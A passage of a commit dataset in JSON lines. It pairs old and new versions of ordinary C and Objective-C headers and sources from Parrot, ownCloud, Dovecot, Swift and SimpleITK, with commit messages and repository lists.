ng,sandrineBeauche\/scheduling,jrochas\/scheduling,youribonnaffe\/scheduling,zeineb\/scheduling,jrochas\/scheduling,fviale\/scheduling"}
{"commit":"c1d5b503174f1c6a72b1e72326fea1f930dca112","old_file":"include\/parrot\/enums.h","new_file":"include\/parrot\/enums.h","old_contents":"#if !defined(PARROT_ENUMS_H_GUARD)\n#define PARROT_ENUMS_H_GUARD\n\ntypedef enum {\n    NO_STACK_ENTRY_TYPE     = 0,\n    STACK_ENTRY_INT         = 1,\n    STACK_ENTRY_FLOAT       = 2,\n    STACK_ENTRY_STRING      = 3,\n    STACK_ENTRY_PMC         = 4,\n    STACK_ENTRY_POINTER     = 5,\n    STACK_ENTRY_DESTINATION = 6\n} Stack_entry_type;\n\ntypedef enum {\n    NO_STACK_ENTRY_FLAGS     = 0,\n    STACK_ENTRY_CLEANUP_FLAG = 1 << 0\n} Stack_entry_flags;\n\ntypedef enum {\n    NO_STACK_CHUNK_FLAGS     = 0,\n    STACK_CHUNK_COW_FLAG     = 1 << 0\n} Stack_chunk_flags;\n\n\n#endif\n","new_contents":"\/* enums.h\n *  Copyright: 2001-2003 The Perl Foundation.  All Rights Reserved.\n *  Overview:\n *     enums shared by much of the stack-handling code\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References: \n *\/\n\n#if !defined(PARROT_ENUMS_H_GUARD)\n#define PARROT_ENUMS_H_GUARD\n\ntypedef enum {\n    NO_STACK_ENTRY_TYPE     = 0,\n    STACK_ENTRY_INT         = 1,\n    STACK_ENTRY_FLOAT       = 2,\n    STACK_ENTRY_STRING      = 3,\n    STACK_ENTRY_PMC         = 4,\n    STACK_ENTRY_POINTER     = 5,\n    STACK_ENTRY_DESTINATION = 6\n} Stack_entry_type;\n\ntypedef enum {\n    NO_STACK_ENTRY_FLAGS     = 0,\n    STACK_ENTRY_CLEANUP_FLAG = 1 << 0\n} Stack_entry_flags;\n\ntypedef enum {\n    NO_STACK_CHUNK_FLAGS     = 0,\n    STACK_CHUNK_COW_FLAG     = 1 << 0\n} Stack_chunk_flags;\n\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil\n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","subject":"Add header and footer comments","message":"Add header and footer comments\n\n\ngit-svn-id: 6e74a02f85675cec270f5d931b0f6998666294a3@3957 d31e2699-5ff4-0310-a27c-f18f2fbe73fe\n","lang":"C","license":"artistic-2.0","repos":"gitster\/parrot,parrot\/parrot,fernandobrito\/parrot,fernandobrito\/parrot,tewk\/parrot-select,gagern\/parrot,fernandobrito\/parrot,youprofit\/parrot,parrot\/parrot,gagern\/parrot,FROGGS\/parrot,tkob\/parrot,fernandobrito\/parrot,gitster\/parrot,FROGGS\/parrot,tkob\/parrot,FROGGS\/parrot,FROGGS\/parrot,tkob\/parrot,gitster\/parrot,tewk\/parrot-select,gagern\/parrot,gagern\/parrot,gitster\/parrot,parrot\/parrot,tewk\/parrot-select,tewk\/parrot-select,gagern\/parrot,tkob\/parrot,tkob\/parrot,fernandobrito\/parrot,youprofit\/parrot,youprofit\/parrot,parrot\/parrot,fernandobrito\/parrot,gitster\/parrot,gagern\/parrot,tewk\/parrot-select,fernandobrito\/parrot,gagern\/parrot,youprofit\/parrot,youprofit\/parrot,FROGGS\/parrot,FROGGS\/parrot,tewk\/parrot-select,tkob\/parrot,gitster\/parrot,tkob\/parrot,youprofit\/parrot,parrot\/parrot,youprofit\/parrot,FROGGS\/parrot,tewk\/parrot-select,tkob\/parrot,gitster\/parrot,FROGGS\/parrot,youprofit\/parrot"}
{"commit":"7ca02c0585b8a6d208b2e5667cd272e6b2aebc51","old_file":"OCCommunicationLib\/OCCommunicationLib\/OCErrorMsg.h","new_file":"OCCommunicationLib\/OCCommunicationLib\/OCErrorMsg.h","old_contents":"\/\/\n\/\/  OCErrorMsg.h\n\/\/  Owncloud iOs Client\n\/\/\n\/\/ Copyright (C) 2014 ownCloud Inc. (http:\/\/www.owncloud.org\/)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\n#define kOCErrorServerUnauthorized 401\n#define kOCErrorServerForbidden 403\n#define kOCErrorServerPathNotFound 404\n#define kOCErrorServerMethodNotPermitted 405\n#define kOCErrorProxyAuth 407\n#define kOCErrorServerTimeout 408","new_contents":"\/\/\n\/\/  OCErrorMsg.h\n\/\/  Owncloud iOs Client\n\/\/\n\/\/ Copyright (C) 2014 ownCloud Inc. (http:\/\/www.owncloud.org\/)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\n#define kOCErrorServerUnauthorized 401\n#define kOCErrorServerForbidden 403\n#define kOCErrorServerPathNotFound 404\n#define kOCErrorServerMethodNotPermitted 405\n#define kOCErrorProxyAuth 407\n#define kOCErrorServerTimeout 408\n#define kOCErrorServerInternalError 500","subject":"Add new code to manage 500 server error","message":"Add new code to manage 500 server error\n","lang":"C","license":"mit","repos":"pd81999\/ios-library,blueseaguo\/ios-library,owncloud\/ios-library"}
{"commit":"2e5b331ef0015a62c698bfdd0072fe2712c5b19e","old_file":"src\/lib\/mkdir-parents.c","new_file":"src\/lib\/mkdir-parents.c","old_contents":"\/* Copyright (c) 2003 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"mkdir-parents.h\"\n\n#include <sys\/stat.h>\n\nint mkdir_parents(const char *path, mode_t mode)\n{\n\tconst char *p;\n\n\tif (mkdir(path, mode) < 0 && errno != EEXIST) {\n\t\tif (errno != ENOENT)\n\t\t\treturn -1;\n\n\t\tp = strrchr(path, '\/');\n\t\tif (p == NULL || p == path)\n\t\t\treturn -1; \/* shouldn't happen *\/\n\n\t\tt_push();\n\t\tif (mkdir_parents(t_strdup_until(path, p), mode) < 0) {\n\t\t\tt_pop();\n\t\t\treturn -1;\n\t\t}\n\t\tt_pop();\n\n\t\t\/* should work now *\/\n\t\tif (mkdir(path, mode) < 0 && errno != EEXIST)\n\t\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n","new_contents":"\/* Copyright (c) 2003 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"mkdir-parents.h\"\n\n#include <sys\/stat.h>\n\nint mkdir_parents(const char *path, mode_t mode)\n{\n\tconst char *p;\n\n\t\/* EISDIR check is for BSD\/OS which returns it if path contains '\/'\n\t   at the end and it exists. *\/\n\tif (mkdir(path, mode) < 0 && errno != EEXIST && errno != EISDIR) {\n\t\tif (errno != ENOENT)\n\t\t\treturn -1;\n\n\t\tp = strrchr(path, '\/');\n\t\tif (p == NULL || p == path)\n\t\t\treturn -1; \/* shouldn't happen *\/\n\n\t\tt_push();\n\t\tif (mkdir_parents(t_strdup_until(path, p), mode) < 0) {\n\t\t\tt_pop();\n\t\t\treturn -1;\n\t\t}\n\t\tt_pop();\n\n\t\t\/* should work now *\/\n\t\tif (mkdir(path, mode) < 0 && errno != EEXIST)\n\t\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n","subject":"Check for EISDIR error as well. Fixed problems with BSD\/OS.","message":"Check for EISDIR error as well. Fixed problems with BSD\/OS.\n","lang":"C","license":"mit","repos":"damoxc\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,Distrotech\/dovecot,LTD-Beget\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,LTD-Beget\/dovecot"}
{"commit":"894bceeff96a75c2b5301777aea30fb730cdaa1b","old_file":"include\/swift\/AST\/TypeMemberVisitor.h","new_file":"include\/swift\/AST\/TypeMemberVisitor.h","old_contents":"","new_contents":"\/\/===-- TypeMemberVisitor.h - ASTVisitor specialization ---------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines the curiously-recursive TypeMemberVisitor class\n\/\/ and a few specializations thereof.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_AST_TYPEMEMBERVISITOR_H\n#define SWIFT_AST_TYPEMEMBERVISITOR_H\n\n#include \"swift\/AST\/ASTVisitor.h\"\n\nnamespace swift {\n  \n\/\/\/ TypeMemberVisitor - This is a convenience adapter of DeclVisitor\n\/\/\/ which filters out a few common declaration kinds that are never\n\/\/\/ members of nominal types.\ntemplate<typename ImplClass, typename RetTy = void> \nclass TypeMemberVisitor : public DeclVisitor<ImplClass, RetTy> {\nprotected:\n  ImplClass &asImpl() { return static_cast<ImplClass&>(*this); }\n\npublic:\n#define BAD_MEMBER(KIND) \\\n  RetTy visit##KIND##Decl(KIND##Decl *D) { \\\n    llvm_unreachable(#KIND \"Decls cannot be members of nominal types\"); \\\n  }\n  BAD_MEMBER(Extension)\n  BAD_MEMBER(Import)\n  BAD_MEMBER(Protocol)\n  BAD_MEMBER(TopLevelCode)\n\n  \/\/\/ A convenience method to visit all the members.\n  void visitMembers(NominalTypeDecl *D) {\n    for (Decl *member : D->getMembers()) {\n      asImpl().visit(member);\n    }\n  }\n};\n\ntemplate<typename ImplClass, typename RetTy = void>\nclass ClassMemberVisitor : public TypeMemberVisitor<ImplClass, RetTy> {\npublic:\n  BAD_MEMBER(OneOfElement)\n\n  void visitMembers(ClassDecl *D) {\n    TypeMemberVisitor<ImplClass, RetTy>::visitMembers(D);\n  }\n};\n\n#undef BAD_MEMBER\n\n} \/\/ end namespace swift\n  \n#endif\n","subject":"Add a visitor for the members of a nominal type.","message":"Add a visitor for the members of a nominal type.\n\nThis really just conveniently filters out all the kinds of\ndeclarations that can't appear in such scopes.\n\nSwift SVN r3473\n","lang":"C","license":"apache-2.0","repos":"hooman\/swift,aschwaighofer\/swift,xwu\/swift,sschiau\/swift,ken0nek\/swift,lorentey\/swift,austinzheng\/swift,modocache\/swift,gribozavr\/swift,felix91gr\/swift,calebd\/swift,LeoShimonaka\/swift,return\/swift,nathawes\/swift,harlanhaskins\/swift,gottesmm\/swift,roambotics\/swift,khizkhiz\/swift,benlangmuir\/swift,hooman\/swift,emilstahl\/swift,kperryua\/swift,allevato\/swift,therealbnut\/swift,harlanhaskins\/swift,tjw\/swift,jmgc\/swift,xwu\/swift,manavgabhawala\/swift,felix91gr\/swift,apple\/swift,xwu\/swift,calebd\/swift,bitjammer\/swift,JGiola\/swift,kstaring\/swift,johnno1962d\/swift,karwa\/swift,brentdax\/swift,hughbe\/swift,uasys\/swift,kperryua\/swift,calebd\/swift,tardieu\/swift,ken0nek\/swift,hughbe\/swift,jopamer\/swift,dduan\/swift,milseman\/swift,sdulal\/swift,LeoShimonaka\/swift,practicalswift\/swift,codestergit\/swift,Jnosh\/swift,JaSpa\/swift,apple\/swift,lorentey\/swift,shahmishal\/swift,ben-ng\/swift,airspeedswift\/swift,CodaFi\/swift,tinysun212\/swift-windows,cbrentharris\/swift,gregomni\/swift,allevato\/swift,parkera\/swift,atrick\/swift,IngmarStein\/swift,shahmishal\/swift,huonw\/swift,devincoughlin\/swift,IngmarStein\/swift,mightydeveloper\/swift,glessard\/swift,tkremenek\/swift,cbrentharris\/swift,ben-ng\/swift,shajrawi\/swift,lorentey\/swift,arvedviehweger\/swift,djwbrown\/swift,glessard\/swift,kentya6\/swift,xedin\/swift,djwbrown\/swift,rudkx\/swift,allevato\/swift,tjw\/swift,danielmartin\/swift,bitjammer\/swift,xwu\/swift,uasys\/swift,tkremenek\/swift,JaSpa\/swift,ahoppen\/swift,calebd\/swift,austinzheng\/swift,therealbnut\/swift,slavapestov\/swift,russbishop\/swift,manavgabhawala\/swift,OscarSwanros\/swift,uasys\/swift,dduan\/swift,apple\/swift,Jnosh\/swift,roambotics\/swift,harlanhaskins\/swift,cbrentharris\/swift,IngmarStein\/swift,jopamer\/swift,shajrawi\/swift,felix91gr\/swift,frootloops\/swift,milseman\/swift,jmgc\/swift,gmilos\/swift,amraboelela\/swift,emilstahl\/swift,sschiau\/swift,rudkx\/swift,hooman\/swift,Ivacker\/swift,JaSpa\/swift,jckarter\/swift,xwu\/swift,ken0nek\/swift,parkera\/swift,cbrentharris\/swift,codestergit\/swift,CodaFi\/swift,russbishop\/swift,codestergit\/swift,practicalswift\/swift,deyton\/swift,jtbandes\/swift,natecook1000\/swift,harlanhaskins\/swift,huonw\/swift,devincoughlin\/swift,therealbnut\/swift,gribozavr\/swift,devincoughlin\/swift,LeoShimonaka\/swift,arvedviehweger\/swift,airspeedswift\/swift,dduan\/swift,natecook1000\/swift,natecook1000\/swift,dduan\/swift,mightydeveloper\/swift,JGiola\/swift,alblue\/swift,kstaring\/swift,karwa\/swift,bitjammer\/swift,gribozavr\/swift,ben-ng\/swift,jckarter\/swift,tinysun212\/swift-windows,huonw\/swift,danielmartin\/swift,lorentey\/swift,khizkhiz\/swift,danielmartin\/swift,brentdax\/swift,zisko\/swift,Jnosh\/swift,kstaring\/swift,slavapestov\/swift,arvedviehweger\/swift,Ivacker\/swift,kusl\/swift,cbrentharris\/swift,xedin\/swift,CodaFi\/swift,practicalswift\/swift,JGiola\/swift,MukeshKumarS\/Swift,alblue\/swift,therealbnut\/swift,russbishop\/swift,kusl\/swift,OscarSwanros\/swift,practicalswift\/swift,hughbe\/swift,xedin\/swift,modocache\/swift,Jnosh\/swift,JaSpa\/swift,benlangmuir\/swift,swiftix\/swift.old,tardieu\/swift,lorentey\/swift,rudkx\/swift,calebd\/swift,gottesmm\/swift,djwbrown\/swift,gmilos\/swift,benlangmuir\/swift,xwu\/swift,KrishMunot\/swift,Ivacker\/swift,tardieu\/swift,mightydeveloper\/swift,frootloops\/swift,MukeshKumarS\/Swift,khizkhiz\/swift,roambotics\/swift,frootloops\/swift,amraboelela\/swift,milseman\/swift,swiftix\/swift,alblue\/swift,uasys\/swift,LeoShimonaka\/swift,shajrawi\/swift,OscarSwanros\/swift,mightydeveloper\/swift,KrishMunot\/swift,huonw\/swift,alblue\/swift,amraboelela\/swift,atrick\/swift,milseman\/swift,johnno1962d\/swift,tkremenek\/swift,parkera\/swift,ahoppen\/swift,manavgabhawala\/swift,zisko\/swift,huonw\/swift,huonw\/swift,tjw\/swift,swiftix\/swift,tardieu\/swift,xedin\/swift,codestergit\/swift,parkera\/swift,nathawes\/swift,felix91gr\/swift,johnno1962d\/swift,stephentyrone\/swift,sschiau\/swift,aschwaighofer\/swift,swiftix\/swift,alblue\/swift,Ivacker\/swift,swiftix\/swift.old,zisko\/swift,manavgabhawala\/swift,arvedviehweger\/swift,hooman\/swift,LeoShimonaka\/swift,KrishMunot\/swift,modocache\/swift,devincoughlin\/swift,sschiau\/swift,deyton\/swift,natecook1000\/swift,return\/swift,modocache\/swift,tinysun212\/swift-windows,airspeedswift\/swift,johnno1962d\/swift,JGiola\/swift,ken0nek\/swift,hooman\/swift,huonw\/swift,Ivacker\/swift,roambotics\/swift,hughbe\/swift,djwbrown\/swift,xedin\/swift,MukeshKumarS\/Swift,deyton\/swift,djwbrown\/swift,ahoppen\/swift,mightydeveloper\/swift,natecook1000\/swift,stephentyrone\/swift,jtbandes\/swift,benlangmuir\/swift,harlanhaskins\/swift,MukeshKumarS\/Swift,austinzheng\/swift,jopamer\/swift,allevato\/swift,atrick\/swift,glessard\/swift,devincoughlin\/swift,adrfer\/swift,practicalswift\/swift,uasys\/swift,OscarSwanros\/swift,modocache\/swift,karwa\/swift,return\/swift,zisko\/swift,emilstahl\/swift,shajrawi\/swift,kperryua\/swift,mightydeveloper\/swift,kusl\/swift,CodaFi\/swift,kusl\/swift,aschwaighofer\/swift,return\/swift,jtbandes\/swift,russbishop\/swift,johnno1962d\/swift,kstaring\/swift,allevato\/swift,frootloops\/swift,calebd\/swift,khizkhiz\/swift,tinysun212\/swift-windows,CodaFi\/swift,IngmarStein\/swift,amraboelela\/swift,ahoppen\/swift,aschwaighofer\/swift,Ivacker\/swift,gottesmm\/swift,shajrawi\/swift,parkera\/swift,stephentyrone\/swift,jtbandes\/swift,kentya6\/swift,apple\/swift,emilstahl\/swift,brentdax\/swift,kperryua\/swift,jopamer\/swift,gregomni\/swift,stephentyrone\/swift,nathawes\/swift,danielmartin\/swift,LeoShimonaka\/swift,amraboelela\/swift,ken0nek\/swift,dduan\/swift,alblue\/swift,OscarSwanros\/swift,aschwaighofer\/swift,glessard\/swift,aschwaighofer\/swift,devincoughlin\/swift,emilstahl\/swift,gmilos\/swift,khizkhiz\/swift,brentdax\/swift,uasys\/swift,gregomni\/swift,stephentyrone\/swift,tjw\/swift,manavgabhawala\/swift,airspeedswift\/swift,nathawes\/swift,dreamsxin\/swift,kstaring\/swift,glessard\/swift,modocache\/swift,brentdax\/swift,sdulal\/swift,gribozavr\/swift,benlangmuir\/swift,brentdax\/swift,ben-ng\/swift,airspeedswift\/swift,therealbnut\/swift,jmgc\/swift,swiftix\/swift.old,gmilos\/swift,SwiftAndroid\/swift,milseman\/swift,slavapestov\/swift,danielmartin\/swift,karwa\/swift,austinzheng\/swift,gottesmm\/swift,lorentey\/swift,Ivacker\/swift,ahoppen\/swift,kentya6\/swift,mightydeveloper\/swift,SwiftAndroid\/swift,shahmishal\/swift,amraboelela\/swift,deyton\/swift,codestergit\/swift,deyton\/swift,gmilos\/swift,roambotics\/swift,tjw\/swift,bitjammer\/swift,IngmarStein\/swift,KrishMunot\/swift,jckarter\/swift,parkera\/swift,ken0nek\/swift,gribozavr\/swift,swiftix\/swift,ben-ng\/swift,cbrentharris\/swift,gmilos\/swift,jckarter\/swift,kusl\/swift,kstaring\/swift,danielmartin\/swift,sschiau\/swift,lorentey\/swift,dreamsxin\/swift,slavapestov\/swift,SwiftAndroid\/swift,jckarter\/swift,gottesmm\/swift,arvedviehweger\/swift,MukeshKumarS\/Swift,rudkx\/swift,SwiftAndroid\/swift,nathawes\/swift,practicalswift\/swift,adrfer\/swift,airspeedswift\/swift,bitjammer\/swift,swiftix\/swift,shahmishal\/swift,johnno1962d\/swift,OscarSwanros\/swift,sdulal\/swift,atrick\/swift,JGiola\/swift,kstaring\/swift,shajrawi\/swift,gribozavr\/swift,kentya6\/swift,uasys\/swift,djwbrown\/swift,jopamer\/swift,deyton\/swift,MukeshKumarS\/Swift,sschiau\/swift,alblue\/swift,danielmartin\/swift,hooman\/swift,jmgc\/swift,deyton\/swift,gregomni\/swift,LeoShimonaka\/swift,tkremenek\/swift,calebd\/swift,SwiftAndroid\/swift,JaSpa\/swift,benlangmuir\/swift,SwiftAndroid\/swift,return\/swift,adrfer\/swift,hughbe\/swift,tinysun212\/swift-windows,kperryua\/swift,ben-ng\/swift,practicalswift\/swift,austinzheng\/swift,amraboelela\/swift,hughbe\/swift,harlanhaskins\/swift,JaSpa\/swift,arvedviehweger\/swift,slavapestov\/swift,karwa\/swift,therealbnut\/swift,xedin\/swift,felix91gr\/swift,gribozavr\/swift,adrfer\/swift,zisko\/swift,cbrentharris\/swift,return\/swift,IngmarStein\/swift,SwiftAndroid\/swift,karwa\/swift,return\/swift,khizkhiz\/swift,kusl\/swift,nathawes\/swift,KrishMunot\/swift,jtbandes\/swift,swiftix\/swift,Jnosh\/swift,gottesmm\/swift,kusl\/swift,arvedviehweger\/swift,nathawes\/swift,kperryua\/swift,harlanhaskins\/swift,atrick\/swift,swiftix\/swift.old,brentdax\/swift,rudkx\/swift,milseman\/swift,shajrawi\/swift,natecook1000\/swift,LeoShimonaka\/swift,codestergit\/swift,airspeedswift\/swift,felix91gr\/swift,tardieu\/swift,atrick\/swift,allevato\/swift,parkera\/swift,felix91gr\/swift,ahoppen\/swift,jopamer\/swift,adrfer\/swift,devincoughlin\/swift,natecook1000\/swift,JaSpa\/swift,kentya6\/swift,rudkx\/swift,manavgabhawala\/swift,jmgc\/swift,shahmishal\/swift,slavapestov\/swift,jmgc\/swift,devincoughlin\/swift,zisko\/swift,codestergit\/swift,sdulal\/swift,jtbandes\/swift,hughbe\/swift,russbishop\/swift,johnno1962d\/swift,modocache\/swift,emilstahl\/swift,ben-ng\/swift,lorentey\/swift,jckarter\/swift,tjw\/swift,roambotics\/swift,KrishMunot\/swift,milseman\/swift,djwbrown\/swift,stephentyrone\/swift,tardieu\/swift,cbrentharris\/swift,shahmishal\/swift,sdulal\/swift,russbishop\/swift,swiftix\/swift.old,emilstahl\/swift,jmgc\/swift,adrfer\/swift,CodaFi\/swift,swiftix\/swift,CodaFi\/swift,gregomni\/swift,austinzheng\/swift,karwa\/swift,therealbnut\/swift,slavapestov\/swift,swiftix\/swift.old,kentya6\/swift,tjw\/swift,shajrawi\/swift,gribozavr\/swift,adrfer\/swift,stephentyrone\/swift,dduan\/swift,aschwaighofer\/swift,kusl\/swift,hooman\/swift,shahmishal\/swift,khizkhiz\/swift,swiftix\/swift.old,tkremenek\/swift,dduan\/swift,jtbandes\/swift,zisko\/swift,tinysun212\/swift-windows,ken0nek\/swift,glessard\/swift,allevato\/swift,Ivacker\/swift,emilstahl\/swift,apple\/swift,Jnosh\/swift,bitjammer\/swift,tkremenek\/swift,jopamer\/swift,gregomni\/swift,IngmarStein\/swift,Jnosh\/swift,tkremenek\/swift,shahmishal\/swift,kperryua\/swift,mightydeveloper\/swift,gmilos\/swift,manavgabhawala\/swift,jckarter\/swift,sdulal\/swift,practicalswift\/swift,apple\/swift,OscarSwanros\/swift,sdulal\/swift,sschiau\/swift,frootloops\/swift,sdulal\/swift,frootloops\/swift,MukeshKumarS\/Swift,xwu\/swift,parkera\/swift,kentya6\/swift,xedin\/swift,xedin\/swift,tinysun212\/swift-windows,austinzheng\/swift,russbishop\/swift,kentya6\/swift,swiftix\/swift.old,karwa\/swift,frootloops\/swift,gottesmm\/swift,tardieu\/swift,KrishMunot\/swift,sschiau\/swift,JGiola\/swift,bitjammer\/swift"}
{"commit":"6f3cd686426f580ef35015d7da331438e0a04cb6","old_file":"Source\/SimpleITKMacro.h","new_file":"Source\/SimpleITKMacro.h","old_contents":"#ifndef __SimpleITKMacro_h\n#define __SimpleITKMacro_h\n\n#include <stdint.h>\n#include <itkImageBase.h>\n#include <itkImage.h>\n#include <itkLightObject.h>\n#include <itkSmartPointer.h>\n\n\/\/ Define macros to aid in the typeless layer\ntypedef itk::ImageBase<3> SimpleImageBase;\n\nnamespace itk {\n  namespace simple {\n\n    \/\/ To add a new type you must:\n    \/\/ 1. Add an entry to ImageDataType\n    \/\/ 2. Add to the sitkDataTypeSwitch\n    \/\/ 3. Add the new type to ImageFileReader\/ImageFileWriter\n\n    enum ImageDataType {\n      sitkUInt8,    \/\/ Unsigned 8 bit integer\n      sitkInt16,   \/\/ Signed 16 bit integer\n      sitkInt32,   \/\/ Signed 32 bit integer\n      sitkFloat32,  \/\/ 32 bit float\n    };\n\n\n#define sitkImageDataTypeCase(typeN, type, call ) \\\n    case typeN: { typedef type DataType; call; }; break\n\n#define sitkImageDataTypeSwitch( call ) \\\n    sitkImageDataTypeCase ( sitkUInt8, uint8_t, call ); \\\n    sitkImageDataTypeCase ( sitkInt16, int16_t, call ); \\\n    sitkImageDataTypeCase ( sitkInt32, int32_t, call ); \\\n    sitkImageDataTypeCase ( sitkFloat32, float, call );\n\n  }\n}    \n\n#endif\n","new_contents":"#ifndef __SimpleITKMacro_h\n#define __SimpleITKMacro_h\n\n\n\/\/ Ideally, take the types from the C99 standard.  However,\n\/\/ VS 8 does not have stdint.h, but they are defined anyway.\n#ifndef _MSC_VER\n\t#include <stdint.h>\n#endif\n\n#include <itkImageBase.h>\n#include <itkImage.h>\n#include <itkLightObject.h>\n#include <itkSmartPointer.h>\n\n\/\/ Define macros to aid in the typeless layer\ntypedef itk::ImageBase<3> SimpleImageBase;\n\nnamespace itk {\n  namespace simple {\n\n    \/\/ To add a new type you must:\n    \/\/ 1. Add an entry to ImageDataType\n    \/\/ 2. Add to the sitkDataTypeSwitch\n    \/\/ 3. Add the new type to ImageFileReader\/ImageFileWriter\n\n    enum ImageDataType {\n      sitkUInt8,    \/\/ Unsigned 8 bit integer\n      sitkInt16,   \/\/ Signed 16 bit integer\n      sitkInt32,   \/\/ Signed 32 bit integer\n      sitkFloat32,  \/\/ 32 bit float\n    };\n\n\n#define sitkImageDataTypeCase(typeN, type, call ) \\\n    case typeN: { typedef type DataType; call; }; break\n\n#define sitkImageDataTypeSwitch( call ) \\\n    sitkImageDataTypeCase ( sitkUInt8, uint8_t, call ); \\\n    sitkImageDataTypeCase ( sitkInt16, int16_t, call ); \\\n    sitkImageDataTypeCase ( sitkInt32, int32_t, call ); \\\n    sitkImageDataTypeCase ( sitkFloat32, float, call );\n\n  }\n}    \n\n#endif\n","subject":"Support for MS Visual Studio 2008.","message":"Support for MS Visual Studio 2008.\n","lang":"C","license":"apache-2.0","repos":"blowekamp\/SimpleITK,richardbeare\/SimpleITK,SimpleITK\/SimpleITK,blowekamp\/SimpleITK,hendradarwin\/SimpleITK,richardbeare\/SimpleITK,richardbeare\/SimpleITK,InsightSoftwareConsortium\/SimpleITK,SimpleITK\/SimpleITK,blowekamp\/SimpleITK,SimpleITK\/SimpleITK,richardbeare\/SimpleITK,blowekamp\/SimpleITK,kaspermarstal\/SimpleElastix,richardbeare\/SimpleITK,hendradarwin\/SimpleITK,InsightSoftwareConsortium\/SimpleITK,kaspermarstal\/SimpleElastix,blowekamp\/SimpleITK,SimpleITK\/SimpleITK,kaspermarstal\/SimpleElastix,kaspermarstal\/SimpleElastix,InsightSoftwareConsortium\/SimpleITK,richardbeare\/SimpleITK,kaspermarstal\/SimpleElastix,richardbeare\/SimpleITK,InsightSoftwareConsortium\/SimpleITK,SimpleITK\/SimpleITK,blowekamp\/SimpleITK,hendradarwin\/SimpleITK,SimpleITK\/SimpleITK,kaspermarstal\/SimpleElastix,hendradarwin\/SimpleITK,richardbeare\/SimpleITK,blowekamp\/SimpleITK,InsightSoftwareConsortium\/SimpleITK,hendradarwin\/SimpleITK,SimpleITK\/SimpleITK,InsightSoftwareConsortium\/SimpleITK,InsightSoftwareConsortium\/SimpleITK,hendradarwin\/SimpleITK,kaspermarstal\/SimpleElastix,hendradarwin\/SimpleITK,SimpleITK\/SimpleITK,blowekamp\/SimpleITK,hendradarwin\/SimpleITK,InsightSoftwareConsortium\/SimpleITK"}
{"commit":"4a7f84f1682c8bc6ce3fe179bac9aa917284f00d","old_file":"test\/ClangModules\/Inputs\/usr\/include\/Foundation.h","new_file":"test\/ClangModules\/Inputs\/usr\/include\/Foundation.h","old_contents":"@import objc;\n\n@interface NSArray : NSObject\n- (id)objectAtIndexedSubscript:(unsigned)idx;\n@end\n\n@interface Hive\n@property __attribute__((iboutletcollection(B))) NSArray *bees;\n@end\n","new_contents":"@import objc;\n\ntypedef unsigned long NSUInteger;\n\n@interface NSArray : NSObject\n- (id)objectAtIndexedSubscript:(NSUInteger)idx;\n@end\n\n@interface Hive\n@property __attribute__((iboutletcollection(B))) NSArray *bees;\n@end\n","subject":"Use NSUInteger, even in our little tests.","message":"Use NSUInteger, even in our little tests.\n\n\nSwift SVN 